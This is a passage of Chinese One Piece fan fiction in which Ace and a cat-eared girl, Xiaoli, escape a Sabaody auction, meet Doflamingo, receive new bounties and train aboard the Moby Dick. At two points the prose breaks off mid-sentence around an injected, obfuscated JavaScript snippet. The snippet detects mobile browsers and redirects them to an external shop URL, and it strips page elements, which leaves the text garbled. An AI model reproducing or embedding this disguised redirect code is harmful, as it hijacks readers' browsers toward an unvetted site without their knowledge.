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舞台侧面,那厚重的、用于分隔后台与舞台的深红色帷幕,被一股从内部传来的、不算巨大却足够突然的力道猛地撞开!一道娇小的身影带着些许狼狈,踉跄着、几乎是翻滚着跌进了舞台中央刺目的聚光灯下! 灯光毫无保留地笼罩了她—— 长发有些凌乱,白皙的脸颊上沾着一点灰尘,湛蓝色的猫瞳因为强光的刺激和突然暴露而骤然收缩,显得警惕又有些茫然。最引人注目的,是她头顶那对因为受惊而笔直竖起的、毛茸茸的黑色猫耳,以及身后那条同样炸毛、不安地快速摆动的黑色长尾巴! 是小狸 但,和所有人预想中戴着项圈、被锁链束缚、惊恐无助的模样截然不同——她纤细的脖颈上,空空如也!那个象征奴隶身份和致命威胁的爆炸项圈,不见了! 全场瞬间陷入一片死寂! 紧接着,如同冷水滴入滚油—— “哗——!!!” 巨大的哗然声、惊呼声、难以置信的尖叫声轰然炸开!整个拍卖场像是被投入了巨石的池塘,彻底沸腾了!贵族们震惊地瞪大了眼睛,买家们霍然起身,守卫们惊慌失措地试图冲上台…… 小狸在刺目的灯光和震耳的喧哗中愣了一秒,随即,她像是终于确认了自己所处的环境和位置,眼神一厉,身体如同蓄势待发的猎豹般猛地弹起! 目标——旁边那个吓傻了、呆立当场的主持人! 猫科动物般的极致敏捷让她瞬间跨越了几米的距离,在主持人反应过来之前,已经将他扑倒在地!一记精准而利落的手刀,狠狠劈在他的颈侧! 主持人翻了个白眼,哼都没哼一声,彻底安静下来,瘫软在台上。 小狸毫不停留,甚至没有多看台下混乱的人群一眼,翻身跃起,轻盈得像一片羽毛,毫不犹豫地就朝着舞台边缘跳了下去! “啊——!!!奴隶跑出来了!!!” “抓住她!快拦住她!” “卫兵!卫兵在哪里?!” “保护大人!快让开!” 拍卖场彻底炸锅!尤其是前排那些养尊处优的贵族老爷夫人们,吓得魂飞魄散,尖叫着四处奔逃,你推我挤,场面陷入极度混乱!珍贵的珠宝被碰掉,华丽的礼服被踩脏,惊恐的叫声和咒骂声交织成一片。 小狸如同一条游鱼,在这片混乱的人潮中快速穿梭。她娇小的身形发挥了优势,时而矮身从惊惶失措的贵族腋下钻过,时而灵巧地避开抓向她的手臂。看到那些因为惊吓而行动迟缓、堵住去路的贵族,她甚至嫌他们跑得太慢,直接轻盈地跃起,踩着他们宽阔的肩膀或梳理得油光水滑的头顶借力,再次飞跃出去! “放肆!!” “我的头发!!” “该死的贱民!!” 被踩的贵族发出更加愤怒和惊恐的尖叫咒骂,却只能眼睁睁看着那抹黑色的娇小身影在混乱中几个起落,迅速接近拍卖场侧面的出口通道。 角落里的艾斯,将这一幕尽收眼底。 他先是愣了一下,随即,一直紧绷如铁石般的面部线条,难以抑制地软化下来。无奈地抬手扶了扶额,遮挡住眼底那骤然涌起的、几乎要满溢出来的笑意和如释重负。 还能这么活蹦乱跳,这么“嚣张”地踩着人跑……看来,他的小猫精神十足。 一直压在心头、几乎要将他焚毁的暴怒和恐慌,在这一刻,终于被这鲜活生动的画面驱散了大半,嘴角忍不住勾起一丝笑意。 既然没法低调了……那就干脆大干一场吧! 47. 一贝利的约定 艾斯猛地从座位上站起身,拇指与中指轻轻一擦—— 啪! 一声清脆的响指,在这喧嚣混乱的拍卖场中,并不算响亮。 下一秒—— 轰隆隆隆——!!! 仿佛响应着指令,拍卖场的华丽穹顶正中央,骤然炸开一团炽烈无比的橘红色火焰!火焰瞬间膨胀,吞噬了穹顶的大片区域,坚固的建筑材料在极致的高温下如同奶油般熔化,将原本靠人工灯光维持的地下空间,瞬间照耀得亮如白昼。无数燃烧的碎屑如同火雨般纷扬落下,引来更多惊恐万状的尖叫和奔逃。灼热的气浪翻滚,空气被烤得扭曲,那灼人的热力,即使远离爆炸中心也能清晰感受到。 这狂暴的一幕,不仅彻底摧毁了拍卖场的穹顶结构,更像是一道撕裂黑暗、宣示存在的烽火,为正在混乱人群中穿梭的小狸,无比清晰地指明了方向! “艾斯!” 小狸湛蓝的猫瞳骤然亮起,没有丝毫犹豫,她立刻调转方向,扑倒一个举着武器的守卫,借力朝着火焰绽放的中心、艾斯的位置,全力冲去! 拍卖场的守卫们也并非全是饭桶。最初的震惊过后,负责维持秩序和“处理意外”的战斗人员终于反应了过来。刺耳的警报声尖利响起,更多的黑衣守卫从各个通道、侧门涌出,他们手持武器,训练有素地开始分割人群,目标明确地朝着试图汇合的两人包抄、拦截过来。 虽然这些打手个体的实力普遍不强,远远无法与真正驰骋新世界的大。海贼相比,但胜在人数众多,而且似乎接受过应对能力者和突发状况的配合训练。他们像割不完的韭菜,倒下几个,立刻又有更多人悍不畏死地补上缺口,组成人墙,试图将小狸困在原地。 小狸身形如风,利爪在灯光与火光交错中划出道道寒芒,她在狭窄的缝隙和混乱的坐椅间穿梭,如同鬼魅般难以捉摸。经过这段时间在莫比迪克号上的训练和实战,她甚至开始习惯在攻击的间隙,调动体内那股新生的、尚不稳定的力量——指尖微光一闪,橘红火苗便会突兀地出现在某个守卫的眼前或身上,虽然威力不大,却足以制造瞬间的惊愕和干扰,打乱对方的围攻节奏。 但即便如此,面对源源不断涌来、配合逐渐成型的守卫,她突围的速度还是被明显拖慢了。 艾斯将这一切看得清清楚楚。他眼中厉色闪过,周身烈焰轰然升腾,朝着小狸的方向悍然冲去,那些试图阻拦他的守卫,甚至还没能靠近他周身,便被狂暴的火焰冲击狠狠轰飞出去,惨叫着撞在墙壁或柱子上,留下焦黑的痕迹,瞬间失去战斗力。艾斯以绝对的力量和破坏力,硬生生在密集的人群和阻拦中,开辟出一条燃烧的通道,快速向小狸靠近。 眼看两人距离迅速缩短,艾斯眼中火光炽盛,准备释放一次更大范围的攻击,彻底清空周围这些烦人的“苍蝇”,带小狸离开时,一个戏谑、嚣张、仿佛永远带着扭曲笑意的声音,如同冰冷的钢丝,突然切入这片火焰与混乱交织的喧嚣,清晰地传遍了半个拍卖场,奇异地压下了许多嘈杂: “呋呋呋呋呋……真是,大闹了一场呢!‘火拳艾斯’” 只见二楼那间最奢华的包厢方向,一道身影迈着嚣张而慵懒的步伐,不紧不慢地沿着楼梯走了下来。粉红色的羽毛大衣在跳跃的火光映照下显得更加鲜艳夺目,夸张的太阳镜遮住了大半张脸,只露出咧开的、仿佛永远在笑的嘴角。 唐吉诃德·多弗朗明哥。 他手里,还像拎小鸡一样提溜着那个早已吓得魂飞魄散、面如土色的拍卖场负责人。明哥走到大厅中央,随手像扔垃圾一样,将那抖如筛糠的负责人“噗通”一声扔在烧得有些发烫的地面上。 负责人趴在地上,连抬头看明哥的勇气都没有,只是不住地发抖,牙齿打颤。 明哥歪了歪头,目光似乎扫过周围那些如临大敌、却又不敢上前的守卫,以及正在快速汇合的艾斯和小狸,语气里充满了毫不掩饰的嘲讽和某种恶趣味的玩味: “喂喂,你们的守卫……在对我们这些‘尊贵的客人’做什么啊?” 他拉长了语调,仿佛真的在疑惑,“这就是你们这里……招待客人的方式吗?呋呋呋……真是,让我这个旁观者都看不下去了呢。” 负责人脑子已经完全被恐惧搅成了一团浆糊,听到明哥的声音,几乎是本能地、以头抢地,带着哭腔语无伦次:“老、老板……这……这到底……我、我们……怎么处理……” 明哥摊开双手,肩膀耸动,做出一副极其无辜、事不关己的样子:“嗯?你问我?我只是个来看热闹的普通客人啊~” 他拖长了尾音,晃悠着脚步,朝着艾斯和小狸所在的方向走近了几步,目光透过墨镜,在两人身上缓缓扫过。尤其是在小狸那对因为紧张和战斗而微微颤动的黑色猫耳,以及那条警惕竖起的尾巴上,停留了格外长的时间,喉咙里发出了一阵更加低沉、意味不明的笑声。 “呋呋呋……” 管理人彻底傻了,只能像捣蒜一样不住磕头:“误、误会!都是天大的误会!饶命啊,饶命啊” “哦?误会啊……” 明哥拉长了声音,仿佛在认真思考这个词,随即又发出了那标志性的笑声,“呋呋呋,既然是误会……那就好说了嘛。” 他忽然转过身,双手交叉垫在脑后,迈着那种玩世不恭、摇摇晃晃的步伐,竟然就这么朝着拍卖场被炸开的大门口方向走去,仿佛真的只是个看完热闹准备离场的路人。走了几步,他像是忽然想起了什么,停下脚步,微微侧过头,目光再次投向艾斯和小狸的方向,用那种带着笑意的语气说道: “那你们还呆在这里干什么呢?不走吗?” 他歪了歪头,“难道……还想留下来,尝尝这里提供的‘晚餐’?呋呋呋……” 艾斯早已将小狸牢牢护在身后,肌肉紧绷,周身火焰虽然稍微收敛,但依旧保持着随时可以爆发的状态。他眼神锐利如刀,死死盯着明哥的一举一动。他深知眼前这个男人的危险——王下七武海之一,黑暗世界的“Joker”。虽然不畏惧战斗,但此刻小狸就在身边,拍卖场内外情况不明,与明哥在此地爆发全面冲突绝非明智之举。首要任务,是确保小狸绝对安全地离开。 他没有回答明哥任何一句话,甚至没有去看那个还在磕头的负责人。他只是用结实的手臂紧紧搂住小狸的肩膀,将她完全纳入自己的保护范围,目光警惕地锁定着明哥和其他可能的方向,脚下步伐加快,保持着一种随时可以应对攻击的姿态,快步朝着被炸开的出口方向走去。 经过明哥身边时,或许是因为那身过于显眼的粉红色羽毛大衣在火光下摇曳的样子实在特别,或许是为了打破这令人窒息的紧张和沉默,又或许小狸被带歪的一点点不合时宜的审美……小狸在艾斯的臂弯里,忽然抬起小脸,看着明哥的背影,很小声地嘟囔了一句: “羽毛大衣……还有墨镜……好有特色,还……挺好看的。” 这句话在充斥着焦糊味、哭喊声和火焰噼啪声的环境里,显得异常突兀,甚至有点天真。 明哥离去的脚步微微一顿。 随即,他猛地转过身,爆发出一阵比之前更加响亮、更加夸张、仿佛发自内心感到愉悦的大笑声:“呋呋呋呋呋!有趣!太有趣了!哈哈哈!我开始有点喜欢你了,小猫!” 他隔着几步的距离,目光灼灼地看向被艾斯护得严严实实、只露出半张小脸的小狸,发出了一个邀请:“怎么样?有没有兴趣,以后来德雷斯罗萨做客?那里可是‘爱与激情与玩具的国度’哦!比这里……有意思多了!呋呋呋呋!” 艾斯的手臂瞬间收紧,将小狸更往身后藏了藏,替她干脆利落地回绝,声音斩钉截铁:“不劳费心。” 明哥似乎也不在意,只是继续笑着,用那种漫不经心却又带着某种深意的语气补充道:“别急着替她拒绝嘛,火拳。这只是一个私人的、友好的邀请,与我的身份、与这里的任何生意……都无关哦~呋呋呋……只是觉得,这么有趣的小猫,关在笼子里太可惜了,或许在更广阔的舞台上,会绽放出更耀眼的光芒呢?” 艾斯不再理会他话语中的试探与潜藏的意味,护着小狸,脚下速度不减,迅速穿过破损的大门,离开了这片依旧混乱、燃烧的是非之地。 身后,似乎还能隐约听到明哥那独特的低笑声。 艾斯的脚步却越来越急,丝毫没有放缓的意思。小狸被他半搂半带着,起初还能跟上,但艾斯的步伐太大、太急,她很快就开始有些吃力,呼吸微促。 “哥、哥哥……慢一点……” 她小声说。 艾斯却仿佛没听到,反而猛地停下,手臂一抄,直接将她像扛一袋面粉一样,稳稳地扛在了自己宽阔坚实的肩膀上。 “呀!” 小狸短促地惊呼一声,视野瞬间拔高,下意识地抓住了艾斯后背的衣服。 艾斯一言不发,扛着她,开始在香波地的街道上全力奔跑起来,速度比刚才更快!他要尽快离开这个岛屿,离开多弗朗明哥势力范围的核心区域! 被扛在肩上的小狸视野晃动,她努力抬起头,看向拍卖场的方向。只见那栋建筑破损的门口,那抹粉红色的身影似乎还站在那里,悠哉地朝着他们离开的方向,随意地挥了挥手,嘴角咧开的弧度即使在远处也清晰可见。 小狸犹豫了一下,虽然觉得那个“毛茸茸”的家伙有点奇怪又危险,但出于礼貌,她也小小地、迟疑地抬起手,朝着那个方向挥动了一下。 下一秒,她就被艾斯带着拐进了一条小巷,再也看不见拍卖场的方向。 …… 直到坐上静静停泊在隐蔽处的火焰小艇,彻底驶离香波地群岛那标志性的泡泡笼罩范围后,两人才真正从紧绷的状态中松懈下来,不约而同地吁出了一口气。 小狸低下头,耳朵无精打采地耷拉着,,双手不安地绞着衣角,声音里充满了浓重的自责和愧疚,细弱蚊蚋: “对不起,哥哥……都是我太不小心了……如果不是我那么大意,就不会……不会让你这么担心,还惹上这么多麻烦……” 她越说声音越小,尾巴也沉重地垂在座位边,尾尖都没了活力。 艾斯没有立刻回答。他沉沉地叹了口气,伸出手,用力揉了揉她低垂的脑袋,将她的头发揉得有点乱。 “不,小狸,不是你的错。” 他的声音有些沙哑“是我不好。是我太心急了,被蒂奇那个混蛋放出的假消息牵着鼻子走,在各个地方白跑,消耗了太多精力和注意力,却忽略了你身边可能存在的危险……是我没能保护好你。” “不过……看到你还能活蹦乱跳地跑出来,甚至踩着人家脑袋生龙活虎的样子……我就知道,我的小狸,比我想象的还要厉害” 小狸听他调笑自己,紧绷的心弦也稍微放松了一些,小声嘟囔着反驳:“才没有‘踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941774|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋’……只是借力嘛……而且,” 她抬起头,蓝眼睛里带着点嗔怪,“艾斯才是!把人家的屋顶都烧穿了!万一引起火灾,伤到无辜的人怎么办嘛!” “哈哈哈!” 艾斯闻言,忍不住放声大笑起来,笑声畅快而肆意,仿佛将胸中积压的所有郁气都随着这笑声吐了出去,“那种藏污纳垢的地方哪有什么无辜的人,烧了才干净!要是真能一把火烧光,我倒觉得是做了件好事!” “不过,那个家伙是谁呀?毛茸茸,很友善的那个……你们认识吗?很熟的样子” 艾斯愣了一下,似乎刚刚意识到自家小猫可能不认识七武海,无奈的扶额 “唐吉可德.多弗朗明哥,是王下七武海之一,也是这片大海上最大的黑暗中间人之一,代号‘Joker’。香波地群岛,乃至更多地方的非法产业,包括人口买卖,很多都和他有千丝万缕的联系。他不是在‘帮’我们,他只是在维持他地下生意的‘秩序’,避免事态扩大到不可收拾,影响他的利益和‘客人们’的安全。” 小狸听完,眼睛慢慢睁大,嘴巴也无意识地微微张开,露出了震惊的表情。几秒钟后,她才猛地反应过来,脸一下子涨红了,一半是后怕,一半是懊恼。 “哎!!!?他就是多弗朗明哥,那岂不是,他就是那个罪魁祸首嘛,艾斯你怎么不早说呀,我还和他告别哎!” 艾斯看着她这副样子,忍俊不禁,故意逗她:“我怎么知道你会不认识他?七武海的通缉令和新闻,你不是也看过一些吗?” “你不说我怎么知道嘛!你明明就认识!” “笨——蛋——”艾斯拉长了声音,笑着用手指弹了一下她的额头 “呜哇!艾斯才是笨蛋!” 小狸捂着被弹的额头,不服气地回嘴,但眼里却没了刚才的自责和阴霾,重新亮起了熟悉的光彩。 两人像小孩子一样拌了几句嘴,笑声在海面上回荡。 海风吹拂,带着凉意。艾斯忽然伸出手,轻轻地将小狸揽进了自己怀里,让她靠在自己的胸口。他的手臂温暖而有力,下巴轻轻抵着她的发顶,嗅着她发间淡淡的、属于她的清新气息。声音低沉下来,带着一种难以言喻的温柔和后怕,轻轻响起: “……还好你没事。小狸。” 他顿了顿,手臂收紧了一些,“我真的……快担心死了。找不到你的时候……脑子里一片空白。” 小狸被他搂在怀里,能清晰地听到他胸腔内有力而稍快的心跳。她安静下来,不再玩闹,也伸出纤细的手臂,环抱住他的腰,把脸深深埋进他温暖坚实的胸膛。隔着衣料,传来令人安心的体温和熟悉的气息。她小声地、带着鼻音说: “嗯……我知道哥哥一定会来救我的……对不起,让你那么担心……我也……好害怕……” 最后几个字,轻得几乎听不见。 两人就这样静静相拥,谁也没有再说话,之前的分离、焦虑、恐惧,在这紧密的拥抱和彼此的体温中,被彻底驱散、抚平。取而代之的,是一种更加深刻、更加牢不可破的羁绊,和失而复得后,倍加珍惜的安宁。 决定先返回莫比迪克号休整汇报之后,小艇在渐渐平静下来的海面上平稳航行,朝着远方那艘如同移动城堡般的巨舰所在的大致方向前进。 忽然,小狸感觉艾斯握着她的手,往她手心里塞了个什么东西。硬硬的,圆圆的,带着金属的微凉。 她疑惑地低头,摊开手掌—— 一枚圆圆亮亮、闪烁着金色光泽的一贝利硬币,正静静地躺在她白皙的掌心。 小狸愣住了,眨了眨眼。随即,之前两人在香波地街上,她开玩笑问“要是真的被卖掉了,艾斯会花多少贝利买我回去”的戏言,猛地跃入脑海! “啊——!!!” 她的脸瞬间爆红,又羞又恼的情绪冲垮了刚才的温馨,用拳头捶打他的肩膀和手臂,“啊啊啊!艾斯!坏心眼!大坏蛋!你还真的就准备花一贝利啊!一贝利!我在你心里就值一贝利吗?!太过分了!” 艾斯早就料到她会是这个反应,大笑着,灵活地躲闪着她毫无威胁的“攻击”,笑声在海面上传得很远:“哈哈哈!不是你自己让我‘买’你的吗?一贝利也是钱啊!这可是我身上现在仅有的、全部的‘家当’了!倾家荡产了呢!” “骗人!大骗子!” 小狸不依不饶,尾巴都气得竖了起来,“萨奇先生明明偷偷跟我说过!上次一起抓捕的那个海贼赏金有五千万贝利,你分到了好多呢!你肯定还有钱!一贝利太少了!重来!至少要……要两千贝利!不!两千万贝利!” “两千万贝利?哇,小狸你涨价涨得好快!通货膨胀吗?” 艾斯继续逗她,眼里满是促狭的笑意,“不行不行,说好了一贝利就是一贝利!契约成立,反悔无效!” “我不管!不算!那不算!那是开玩笑的!艾斯耍赖!” “明明是你先问的!现在想反悔?晚了!” 夕阳完全沉入了海平面之下,天边只剩下绚烂的晚霞余光。一望无际的深蓝海面上,橘红色的小艇载着笑闹的两人,向着“家”的方向驶去。 而关于这场香波地群岛的惊人事件,正以比火焰更快的速度,随着逃散的贵族、目击的海贼和地下世界的消息网络,飞向伟大航路的各个角落,飞向海军本部,飞向新世界…… “火拳艾斯与神秘猫耳少女”的传闻,开始悄然流传。 48. 赏金 回到莫比迪克号,虽然又是一次无功而返,船上的气氛似乎也比之前更加凝重了几分。 不过,对于小狸和艾斯在香波地群岛闹出的动静,船上的大家早有耳闻。海贼式的关心总是别具一格,看到两人全须全尾地回来了,立刻就把担心抛到脑后,转而开始起哄和拿他们打趣。 “哟!我们的‘大闹香波地二人组’回来啦!”不知是谁先吹了声嘹亮的口哨,瞬间点燃了甲板。 “听说把拍卖场的天花板都掀了?”“小狸!快说说,那些天龙人的泡泡头罩是不是一戳就破?哈哈哈!” 七嘴八舌的问候和戏谑如同温暖的潮水,瞬间将刚踏上甲板的两人包裹。艾斯咧开嘴,露出标志性的爽朗笑容,应付着兄弟们拍在背上的、力道足以让普通人踉跄的大手。小狸则早就跃跃欲试,想要立刻开始讲述她的“冒险”。 这份迫不及待,在晚上大家围坐在篝火旁、享用萨奇特制的、带着抚慰意味的丰盛晚餐时,达到了顶峰。 “……然后啊!”她放下叉子,索性站了起来,纤细的手臂开始比划,模仿着当时的动作,身体也跟着微微晃动,试图重现那份“惊险”,“那个坏蛋!拿着遥控器就想按下去!项圈就在我脖子上,千钧一发之际……” 她的表演突然卡壳了,挥舞到一半的手臂僵在半空,脸上生动的表情凝住,像是突然按下了暂停键。蔚蓝色的眼睛眨了眨,闪过一丝恍然和懊恼——她光顾着说自己如何“英勇”,差点忘了那个最关键的人物。 “……啊!”她短促地惊呼一声,猛地转头,看向主座上那个如山岳般沉稳、正含笑看着孩子们闹腾的身影。 “对了老爹!”小狸的声音稍微降了调,带着点不确定和努力回忆的认真,“当时牢里……还有个很奇怪的大叔。” 她微微蹙起眉,努力回忆着 “虽然人古古怪怪的,但是……很强!超级强!” 她的语气变得笃定起来,眼睛也重新亮起。 “就是他救了我!我都还没看清他怎么动的,那个项圈就‘咔哒’一下,被他像摘个坏掉的玩具一样扯掉了!” 然后,她顿了顿,声音放得更轻了些,带着点小心翼翼,仿佛在转述什么重要而微妙的箴言: “他还让我替他向您问好,说……‘西尔巴兹·雷利向您问好’。” 她停顿了一下,舔了舔嘴唇 “还说……让您注意保养身体,别……别死在前头了……” 最后一个字几乎含在嘴里,说完,她立刻闭紧了嘴巴,像只说了错话等待评判的小猫,忐忑地看着白胡子,尾巴尖紧张地蜷了起来。 短暂的寂静。 随即—— “咕啦啦啦啦!!!” 白胡子爆发出洪亮至极、仿佛能震散夜雾的大笑。那笑声浑厚如深海涌浪,带着毫不作伪的畅快和一丝久远岁月沉淀下的感慨,在甲板上滚滚回荡,甚至压过了篝火的噼啪声。他巨大的手掌拍在座椅扶手上,发出沉闷的响声。 “雷利那个老东西!”白胡子笑骂道,眼中却闪烁着遇见故人消息时才有的、复杂而明亮的光彩,“看样子活得还挺滋润!躲到香波地那泡泡堆里,倒也没闲着!” 他端起那堪比小桶的巨大酒碗,豪饮一口,琥珀色的酒液顺着嘴角的胡须淌下。 “罗杰死后,他这个副船长就销声匿迹”白胡子的声音带着回忆的悠远,“没想到啊没想到,这么多年过去,这老家伙的性子一点没变!居然又能把自己‘玩’进拍卖场的监狱里去?真是死性不改!咕啦啦啦!” 看老爹不仅认识,语气里还透着一股老友般的熟稔,小狸疑惑地歪了歪头,黑色的猫耳随着动作轻轻一颤。她下意识地转向身旁的艾斯,蓝眼睛里写满了“求解惑”。 艾斯迎上小狸询问的目光,开口解释,声音平稳,听不出太多波澜,却每个字都清晰: “西尔巴兹·雷利,外号‘冥王’。”他顿了顿,目光似乎越过跳跃的火焰,投向更遥远的黑暗海面,但焦距很快收回,语气依旧平稳,“是……哥尔·D·罗杰海贼团的副船长。罗杰被处刑后,海贼团就解散了。当年的船员,有的像雷利这样隐姓埋名,有的……还活跃在海上,以各自的方式。” 提到“哥尔·D·罗杰”这个名字时,他的语气没有刻意加重,也没有刻意回避,就像在陈述一个与己无关的、遥远的事实。那份曾经缠绕他多年的激烈挣扎与痛苦迷茫,如今似乎已沉淀为海底的礁石,平静而坚固。 “咕啦啦啦!”白胡子接过话头,笑声中裹挟着时光的砂砾与海风的咸涩,他看向艾斯,巨大的眼眸里是洞察一切的温和,“红发那个小鬼,当年不过是罗杰船上一个跑来跑去的实习船员。如今,居然也能和老夫并称为‘四皇’了。”他摇了摇头“时光啊……还真是个有趣又残酷的东西。” 小狸安静地听着,尾巴无意识地轻轻晃动着,消化着这些信息。冥王……副船长……罗杰……这些词汇组合在一起,勾勒出一个她难以想象的、属于传说时代的身影。而她在地牢里见到的那位,头发花白、戴着眼镜、衣衫普通甚至有些邋遢、说话让人半懂不懂的大叔,竟然就是那样的人物?那种举重若轻、深不可测的感觉,此刻似乎有了更具象的依托。 艾斯侧过头,看着小狸微微出神的侧脸,低声说道,声音不大,却带着一份郑重:“下次若有机会再见,得好好谢谢他才行。” 小狸用力点了点头,尾巴也跟着肯定地拍打了一下甲板。 海上的消息,有时比海鸥飞得还快。世界政府对他们在香波地群岛“无法无天”行为的回应,没过多久,便随着新闻鸟扑棱棱的翅膀,降落在了莫比迪克号的栏杆上。 新的悬赏令被船员们争相传阅,引发阵阵喧哗。 小狸踮着脚,从高大的水牛阿特摩斯胳膊下钻过去,好不容易抢到属于自己的那张。纸张还带着油墨和海洋的气息。她迫不及待地低头看去——三千万贝利,还有报纸上关于她“凶星”的新称号 艾斯的新悬赏令也同时传来——五亿五千万贝利! “噗——哈哈哈!”萨奇拿着两张悬赏令对比着,爆发出一阵毫不客气的大笑,他用力拍着艾斯的后背,直拍得艾斯咳嗽了两声,又指着小狸的悬赏令笑道:“看来我们的小狸当时在香波地,确实‘不小心’踩伤了好几位尊贵的‘大人’啊!这‘凶星’的名号,怕不是那些贵族老爷们晚上做噩梦时想出来的?” 据说,是因为她引发的骚乱、无差别的“攻击”、以及那快如鬼魅、难以捕捉的黑色身影,在那些高高在上的人眼中,显得既“凶悍”又“不可控”,如同划破夜空、带来不祥预兆的黑色流星。 小狸自己对这绰号显然相当不满意。她鼓起了腮帮子,像只塞满了松果的花栗鼠,蔚蓝的眼睛里满是被“污蔑”的委屈和不忿,尾巴烦躁地在身后甩来甩去。 “什么嘛!那些‘大人物’真小气!又记仇!我哪里‘凶’啦?哪里‘疯狂’啦?明明是他们先欺负人!而且……而且……” 她的目光偷偷瞥向艾斯那张数字惊人的悬赏令,对比之下,那点因为赏金提升而生的小小虚荣和开心,立刻被更大的“不平衡”取代了。她扁了扁嘴: “为什么艾斯长了五千万!我才只有一千万嘛!不公平!” 这孩子气的抱怨和那副“我也很厉害为什么差这么多”的委屈模样,瞬间击中了甲板上所有硬汉内心最柔软的地方,顿时引发一阵更响亮、更善意的哄堂大笑。连白胡子都忍不住摇头,发出低沉愉悦的笑声。 之后的日子,莫比迪克号继续着它的航行,搜寻着渺茫的线索。而甲板上,属于小狸的修行,变得更加刻苦,几乎到了拼命的地步。 她心里憋着一股劲。香波地的经历,雷利展现的深不可测,艾斯那令人仰望的赏金和实力,都像无声的催化剂,让她渴望变强——不是仅仅为了自保,而是为了能真正站在艾斯身边,成为他能信赖的、可以并肩面对任何风浪的助力,而不是需要被时刻护在身后的负担。 这天下午,甲板一角被清空,变成了临时的训练场。小狸的对手,依旧是那座沉默而坚固的“钻石”——乔兹。 没有多余的寒暄,小狸深吸一口气,缓缓伏低身体。她的眼神变了,不再是平日里的清澈好奇或依赖撒娇,而是如同进入狩猎状态的幼豹,锐利,专注,燃烧着不服输的火焰。蔚蓝色的瞳孔微微收缩,紧紧锁定着乔兹庞大的身躯。她将重心压得很低,脚尖微微内扣,像是扎根在甲板上,纤细的身体却绷得像一张拉满的弓,每一块肌肉都蓄满了力量,等待着最佳的爆发时机。 乔兹如山般矗立,面容沉静。长时间的陪练,让他对小狸的战斗习惯、节奏甚至某些小聪明都了如指掌。他看着小猫那紧绷的、充满战意的姿态,几乎能预判她下一步的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941775|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。 果然,下一瞬,那道黑色的身影动了 没有助跑,纯粹依靠腿部瞬间的爆发力,小狸如同离弦之箭,猛地扑出!目标直指乔兹看似防守最严密的中路!她的速度快得在空气中拉出一道淡淡的残影,五指成爪,指尖在阳光下掠过冰冷的寒光,狠狠抓向乔兹覆盖着钻石的手臂! “锵——!” 刺耳尖锐的摩擦声爆响,利爪与钻石表面狠狠刮擦,迸溅出一连串刺眼的金色火星!巨大的反震力让小狸的手臂一阵酸麻,但这一击本就是虚招! 按照她以往的习惯,一击不中,立刻就会借助反作用力弹开,拉开距离,重新寻找机会。乔兹的肌肉记忆也做好了应对她后撤的准备。 然而,这一次,小狸没有退! 就在利爪与钻石接触、火星四溅的刹那,她那双蔚蓝的眼眸中闪过一丝决绝的光芒。原本准备后撤的手腕猛地一拧,化爪为扣,纤细却异常稳定的手指,死死抓住了乔兹那比她大腿还粗的、钻石覆盖的手臂! 这突如其来的、近乎“自投罗网”的举动,让乔兹愣住了百分之一秒。就是这电光石火般的瞬息! 乔兹只看见那只抓着自己手臂的小猫,额头猛地向前一倾!在她光洁的额头上,眉心处,一点晶莹剔透的钻石光泽,骤然亮起!轻薄、凝聚,带着一种奇异生命力的结晶,薄薄地覆盖在她的皮肤上,泛着淡淡的、几乎难以察觉的紫色光晕——那是她自己都尚未清晰意识到的、武装色霸气艰难凝聚的雏形,正本能地与她的复制能力结合,试图形成最强的防御与攻击点! 真能干啊,小狸。乔兹心中无声地赞叹,同时升起一丝欣慰。这小家伙,果然在一次次实战和苦练中飞速成长,不再局限于将能力用于指尖的锋利,开始尝试更灵活、更大胆的运用,甚至触摸到了霸气的大门。 但这分神的代价,就是结结实实地挨了这一下! “咚!!!” 一声闷响,不像金属碰撞那般清脆,却沉重扎实。小狸覆盖着钻石雏形的额头,如同攻城锤般,重重砸在乔兹的下颌!即便有钻石防御,那集中的冲击力和瞬间爆发的力量,依然让乔兹那庞大的头颅不受控制地向后微微仰起,脚下那如同焊死在甲板上的步伐,竟也向后挪动了微小却清晰的一小步! 成功了?! 小狸心中瞬间被狂喜充满,眼睛亮得惊人。 然而,她高兴得太早了。 “还差得远呢,小丫头。”乔兹低沉的声音响起,几乎就在她额头撞击的力道尚未完全消散的同一刻。 那只被她紧紧抓住的、钻石覆盖的手臂猛地一震、一翻、一压!简单的动作,却蕴含着千锤百炼的技艺和绝对的力量差距。小狸只觉得一股无可抗拒的巨力袭来,扣住对方手臂的手指瞬间被震开,整个人被结结实实的摁在了甲板上。 “呜……” 肺里的空气被挤压出去,发出一声短促的闷哼。乔兹控制了力道,但这无法撼动的差距和瞬间落败的现实,还是让那股兴奋劲像被戳破的气球,噗地漏光了。 她趴在甲板上,望着头顶的天空和飘扬的海贼旗,眨了眨眼,然后干脆放弃了挣扎。四肢摊开,像只失去了梦想的咸鱼,一动不动了。只有那条黑色的长尾巴,还在不甘心地、微弱地拍打着甲板,发出轻微的“啪啪”声。 几秒钟后,她扁了扁嘴,带着浓重的鼻音和十足的耍赖意味,冲着依旧如山般立在旁边的乔兹喊道: “我明明那么努力了!额头都撞疼了!” 她甚至抬起手,摸了摸自己光洁的额头,那里钻石光泽早已褪去,只有一点点微红,“都是乔兹师傅太强了的错!不公平!” 